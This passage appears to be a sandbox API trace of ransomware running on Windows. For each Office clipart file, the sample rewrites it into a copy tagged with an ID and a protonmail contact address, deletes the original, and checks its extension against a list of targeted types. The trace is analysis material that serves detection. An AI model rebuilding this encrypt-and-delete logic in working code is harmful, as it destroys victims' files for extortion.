	[0208.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0208.206] GetLastError () returned 0x0
	[0208.206] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x2454, lpOverlapped=0x0) returned 1
	[0208.480] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0208.482] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.482] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.482] SetEndOfFile (hFile=0x388) returned 1
	[0208.482] CloseHandle (hObject=0x388) returned 1
	[0208.482] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.482] SetEndOfFile (hFile=0x384) returned 1
	[0208.483] CloseHandle (hObject=0x384) returned 1
	[0208.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1
	[0208.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.484] lstrlenW (lpString=".doc") returned 4
	[0208.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.484] lstrlenW (lpString=".docx") returned 5
	[0208.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.485] lstrlenW (lpString=".pdf") returned 4
	[0208.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString=".xls") returned 4
	[0208.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.485] lstrlenW (lpString=".xlsx") returned 5
	[0208.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.485] lstrlenW (lpString=".ppt") returned 4
	[0208.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.485] lstrlenW (lpString=".zip") returned 4
	[0208.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.485] lstrlenW (lpString=".rar") returned 4
	[0208.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString=".bz2") returned 4
	[0208.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString=".7z") returned 3
	[0208.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.485] lstrlenW (lpString=".dbf") returned 4
	[0208.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.485] lstrlenW (lpString=".1cd") returned 4
	[0208.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.485] lstrlenW (lpString=".jpg") returned 4
	[0208.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.485] lstrlenW (lpString=".doc") returned 4
	[0208.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.485] lstrlenW (lpString=".docx") returned 5
	[0208.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.486] lstrlenW (lpString=".pdf") returned 4
	[0208.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.486] lstrlenW (lpString=".xls") returned 4
	[0208.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.486] lstrlenW (lpString=".xlsx") returned 5
	[0208.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.486] lstrlenW (lpString=".ppt") returned 4
	[0208.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.486] lstrlenW (lpString=".zip") returned 4
	[0208.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.486] lstrlenW (lpString=".rar") returned 4
	[0208.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.486] lstrlenW (lpString=".bz2") returned 4
	[0208.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.486] lstrlenW (lpString=".7z") returned 3
	[0208.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.486] lstrlenW (lpString=".dbf") returned 4
	[0208.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.486] lstrlenW (lpString=".1cd") returned 4
	[0208.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0208.486] lstrlenW (lpString=".jpg") returned 4
	[0208.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.486] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.486] lstrlenW (lpString="HH01461_.WMF") returned 12
	[0208.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.487] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=5958) returned 1
	[0208.487] CloseHandle (hObject=0x384) returned 1
	[0208.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220
	[0208.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.488] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.488] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0208.489] GetLastError () returned 0x0
	[0208.489] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x1746, lpOverlapped=0x0) returned 1
	[0208.490] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x1750, lpOverlapped=0x0) returned 1
	[0208.491] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.491] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.491] SetEndOfFile (hFile=0x388) returned 1
	[0208.491] CloseHandle (hObject=0x388) returned 1
	[0208.491] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.491] SetEndOfFile (hFile=0x384) returned 1
	[0208.492] CloseHandle (hObject=0x384) returned 1
	[0208.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1
	[0208.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.493] lstrlenW (lpString=".doc") returned 4
	[0208.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.493] lstrlenW (lpString=".docx") returned 5
	[0208.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.493] lstrlenW (lpString=".pdf") returned 4
	[0208.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.493] lstrlenW (lpString=".xls") returned 4
	[0208.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.493] lstrlenW (lpString=".xlsx") returned 5
	[0208.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.493] lstrlenW (lpString=".ppt") returned 4
	[0208.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.493] lstrlenW (lpString=".zip") returned 4
	[0208.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.493] lstrlenW (lpString=".rar") returned 4
	[0208.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.493] lstrlenW (lpString=".bz2") returned 4
	[0208.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.493] lstrlenW (lpString=".7z") returned 3
	[0208.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.494] lstrlenW (lpString=".dbf") returned 4
	[0208.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.494] lstrlenW (lpString=".1cd") returned 4
	[0208.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.494] lstrlenW (lpString=".jpg") returned 4
	[0208.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.494] lstrlenW (lpString=".doc") returned 4
	[0208.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.494] lstrlenW (lpString=".docx") returned 5
	[0208.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.494] lstrlenW (lpString=".pdf") returned 4
	[0208.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.494] lstrlenW (lpString=".xls") returned 4
	[0208.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.494] lstrlenW (lpString=".xlsx") returned 5
	[0208.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.494] lstrlenW (lpString=".ppt") returned 4
	[0208.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.494] lstrlenW (lpString=".zip") returned 4
	[0208.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.494] lstrlenW (lpString=".rar") returned 4
	[0208.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.495] lstrlenW (lpString=".bz2") returned 4
	[0208.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.495] lstrlenW (lpString=".7z") returned 3
	[0208.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.495] lstrlenW (lpString=".dbf") returned 4
	[0208.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.495] lstrlenW (lpString=".1cd") returned 4
	[0208.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0208.495] lstrlenW (lpString=".jpg") returned 4
	[0208.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.495] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.495] lstrlenW (lpString="HH01618_.WMF") returned 12
	[0208.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.495] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=7296) returned 1
	[0208.496] CloseHandle (hObject=0x384) returned 1
	[0208.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220
	[0208.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.496] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.496] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0208.497] GetLastError () returned 0x0
	[0208.497] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x1c80, lpOverlapped=0x0) returned 1
	[0208.498] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x1c90, lpOverlapped=0x0) returned 1
	[0208.499] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.499] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.499] SetEndOfFile (hFile=0x388) returned 1
	[0208.499] CloseHandle (hObject=0x388) returned 1
	[0208.500] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.500] SetEndOfFile (hFile=0x384) returned 1
	[0208.500] CloseHandle (hObject=0x384) returned 1
	[0208.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1
	[0208.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.501] lstrlenW (lpString=".doc") returned 4
	[0208.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.501] lstrlenW (lpString=".docx") returned 5
	[0208.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.501] lstrlenW (lpString=".pdf") returned 4
	[0208.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.501] lstrlenW (lpString=".xls") returned 4
	[0208.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.501] lstrlenW (lpString=".xlsx") returned 5
	[0208.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.501] lstrlenW (lpString=".ppt") returned 4
	[0208.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.502] lstrlenW (lpString=".zip") returned 4
	[0208.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.502] lstrlenW (lpString=".rar") returned 4
	[0208.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString=".bz2") returned 4
	[0208.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString=".7z") returned 3
	[0208.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.502] lstrlenW (lpString=".dbf") returned 4
	[0208.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.502] lstrlenW (lpString=".1cd") returned 4
	[0208.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.502] lstrlenW (lpString=".jpg") returned 4
	[0208.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.502] lstrlenW (lpString=".doc") returned 4
	[0208.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString=".docx") returned 5
	[0208.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.502] lstrlenW (lpString=".pdf") returned 4
	[0208.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString=".xls") returned 4
	[0208.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.502] lstrlenW (lpString=".xlsx") returned 5
	[0208.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.502] lstrlenW (lpString=".ppt") returned 4
	[0208.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.502] lstrlenW (lpString=".zip") returned 4
	[0208.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.503] lstrlenW (lpString=".rar") returned 4
	[0208.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.503] lstrlenW (lpString=".bz2") returned 4
	[0208.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.503] lstrlenW (lpString=".7z") returned 3
	[0208.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.503] lstrlenW (lpString=".dbf") returned 4
	[0208.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.503] lstrlenW (lpString=".1cd") returned 4
	[0208.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0208.503] lstrlenW (lpString=".jpg") returned 4
	[0208.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.504] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.504] lstrlenW (lpString="HH01759_.WMF") returned 12
	[0208.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.504] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=5414) returned 1
	[0208.504] CloseHandle (hObject=0x384) returned 1
	[0208.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220
	[0208.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.504] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.505] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
